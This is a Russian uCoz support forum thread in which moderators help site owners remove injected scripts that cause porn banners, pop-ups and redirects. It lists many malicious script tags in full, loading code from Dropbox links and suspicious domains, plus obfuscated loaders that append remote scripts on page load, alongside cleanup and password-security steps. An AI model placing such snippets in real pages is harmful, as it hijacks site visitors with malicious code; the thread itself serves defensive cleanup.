Чат сообщества
   | |
| Модератор форума: Yuri_G |
| Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс) |
| Если на вашем сайте появились порнобаннеры |
 Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов: Код <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script> <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script> <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script> <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script> <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script> <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script> <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script> <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script> <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script> <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script> <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script> <script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script> <script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script> <script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script> <script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script> <script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script> <script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script> <script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script> <script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script> <script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script> <script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script> <script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script> Актуальные на данный момент и самые распространенные эти скрипты Код <script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script> Код <script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script> Код <script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script> Код <script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script> Код <script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script> Код <script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script> Код <script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script> Код <script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script> Код <script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script> Код <script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script> Код <script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script> Код <script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script> Код <script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script> Код <script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script> Код <script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script> Код <script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script> Код <script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script> Код <script type="text/javascript"> (function(w) { var script = document.createElement('script'); var i = setInterval(function() { if (typeof w.document.body !== 'undefined') { script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0'; w.document.body.appendChild(script); clearInterval(i); } }, 200); })(window); </script> <script type="text/javascript"> (function(w) { var script = document.createElement('script'); var i = setInterval(function() { if (typeof w.document.body !== 'undefined') { script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U'; w.document.body.appendChild(script); clearInterval(i); } }, 200); })(window); </script>  Как удалить: 1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта. Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта) 2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме 3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1 4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции: 1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль 2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу 3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально 5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль! 6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом 7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1  Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем |
|
koza4ello, баннер справа. Если это стандартная реклама, от нее не избавишься?((
|
|
Svetutun4ik, как отключить баннер можете ознакомиться здесь http://manual.ucoz.net/board/36-1-0-370
|
|
Здраствуйте. Помогите пожалуйста. При заходе на сайт http://cod44.clan.su/ , меня сразу перебрасывает на другой http://ucoz.ulde.net/.
Заходил гостем и под логином. Сообщение отредактировал xXxStrelokxXx - Среда, 23 Апр 2014, 02:13:35
|
|
xXxStrelokxXx, быстрой заменой удалить
Код <style type="text/css" media="all"> @import url(http://ucoz.ulde.net/highslide/highslide.css); </style> <script type="text/javascript" src="http://ucoz.ulde.net/highslide/highslide.js"></script> <script type="text/javascript"> hs.graphicsDir = 'http://ucoz.ulde.net/highslide/graphics/'; </script> из блока меню удалить скрипт Код <script language='javascript' charset='UTF-8' type='text/javascript' src='http://yahs.ru/bdmg'></script> с помощью быстрой замены удалить Код <script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script><script type="text/javascript" src="http://goo.gl/lwUXhf"></script> с помощью быстрой замены удалить спам Код <div style="display:none;"><a href="http://ranknaruto.ru/">наруто</a></div> из блока UkrGame.Net|HardCore#1 удалить Код <script type="text/javascript"> (function(w) { var script = document.createElement('script'); var i = setInterval(function() { if (typeof w.document.body !== 'undefined') { script.src = 'http://oqme.about-home.info' + '/?538449=JWwlI3czPT4yOjg1ImxgYWRoY2c'; w.document.body.appendChild(script); clearInterval(i); } }, 200); })(window); </script> <script language='javascript' charset='UTF-8' type='text/javascript' src='http://clck.ru/98oGG'></script> <script type="text/javascript"> (function(w) { var script = document.createElement('script'); var i = setInterval(function() { if (typeof w.document.body !== 'undefined') { script.src = 'http://oqme.about-home.info' + '/?548044=uPG4vuquoKOvp6Wov_H9_Pn1_vs'; w.document.body.appendChild(script); clearInterval(i); } }, 200); })(window); </script> после очистки сменить все пароли поставить максимально сложные. читайте //forum.ucoz.ru/forum/45-52299-1 и первое сообщение данной темы |
|
webanet, спасибо за помощь, теперь все работает на Ура!)
|
|
starair, удалите все содержимое в блоке регистрация
Код <script type="text/javascript"> (function(w) { var script = document.createElement('script'); var i = setInterval(function() { if (typeof w.document.body !== 'undefined') { script.src = 'http://oqme.about-home.info' + '/?538449=JWwlI3czPT4yOjg1ImxgYWRoY2c'; w.document.body.appendChild(script); clearInterval(i); } }, 200); })(window); </script> <script language='javascript' charset='UTF-8' type='text/javascript' src='http://clck.ru/98oGG'></script> <script type="text/javascript"> (function(w) { var script = document.createElement('script'); var i = setInterval(function() { if (typeof w.document.body !== 'undefined') { script.src = 'http://oqme.about-home.info' + '/?548044=uPG4vuquoKOvp6Wov_H9_Pn1_vs'; w.document.body.appendChild(script); clearInterval(i); } }, 200); })(window); </script> внимательно прочитайте первое сообщение данной темы |
|
starair, нет. этот блок называется регистрация. выглядит на сайте так
 при быстрой замене надо ставить галку на замену в блоках. или подключите конструктор и нажмите на шестеренку возле блока регистрация и удалите из содержимого указанные скрипты Прикрепления:
9962009.jpg
(36.3 Kb)
|
|
Irina7320
  Сообщений: 1Репутация: 0 ± Сообщение # 3 | 15:57:18 01 Окт 2013На сайте http://arkag.ucoz.ru/ появилась странное окно с рекламой, как только его закрываешь, открываются окна , которые невозможно закрыть, Касперский сигнализирует о вирусе, закрыть окно можно только при полной перезагрузке компьютера, сайт перестали посещать, что делать? спасибо цитироватьпрофиль ЛСwebanet   Личный менеджерСообщений: 17678Репутация: 3732 ±  Сообщение # 4 | 15:57:28 01 Окт 2013Irina7320, панель управления - дизайн - управление дизайном - быстрая замена в поле что заменить вставляем скрипт <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>1 2поле на что заменить оставляем пустым и производим замену во всех модулях тоже самое проделываем со скриптом <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>1 2 после очистки меняем пароль uID профиля, которым администрируете сайт. инструкция тут//forum.ucoz.ru/forum/45-52299-1 далее для общего развития читаем это //forum.ucoz.ru/forum/45-57475-1093991-16-1380628628 IE это такая программа, с помощью которой можно зайти на сайт www.mozilla,com и скачать себе браузер... http://webanet.ucoz.ru/ Добавлено (14 Май 2014, 14:16:56) |
|
Сико, когда эти окна появились?
с помощью быстрой замены удалите Код <script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script> <script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script> <script type="text/javascript" src="http://goo.gl/lwUXhf"></script> <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script> Код <script type="text/javascript" src="http://pjatnuchanu.ucoz.ua/adblock.txt"></script> дайте скрин окна, которое появляется и скрин блокировки касперского, чтобы его можно было прочитать |
|
Сико, панель управления - дизайн - управление дизайном - глобальные блоки - первый контейнер - на открывшейся странице удалите весь код, который там есть и сохраните пустую страницу. далее. панель управления - настройки - общие настройки - дизайн сайта (третья настройка сверху) - поставьте галку на Обновить текущий дизайн во всех используемых модулях - внизу сохраните.
|
|
панель управления - дизайн - управление дизайном - глобальные блоки - первый контейнер(Верхняя часть сайта) - на открывшейся странице удалите весь код! Это все удалить??
<header> <div id="top" class="clearfix"> <div class="t-container"> <?if($SEARCH_FORM$)?> <div id="show-search" class="show-search"></div> <div id="b-search" class="b-search pull-right b-search-min"> $SEARCH_FORM$ </div> <?endif?> <div id="show-menu" class="show-menu"></div> <nav> <!-- <sblock_nmenu> --> <?if($NMENU_1$)?><!-- <bc> -->$NMENU_1$<!-- </bc> --><?endif?> <!-- </sblock_nmenu> --> </nav> </div> </div> <div class="b-usermenu t-container"> <?if($USER_LOGGED_IN$)?> <a title="Мой профиль" href="$PERSONAL_PAGE_LINK$"><!--<s5214>-->Мой профиль<!--</s>--></a> | <a title="Выход" href="$LOGOUT_LINK$"><!--<s5164>-->Выход<!--</s>--></a> <?else?> <a title="Регистрация" href="$REGISTER_LINK$"><!--<s3089>-->Регистрация<!--</s>--></a> | <a title="Вход" href="$LOGIN_LINK$"><!--<s3087>-->Вход<!--</s>--></a> <?endif?> </div> </header> |
| |||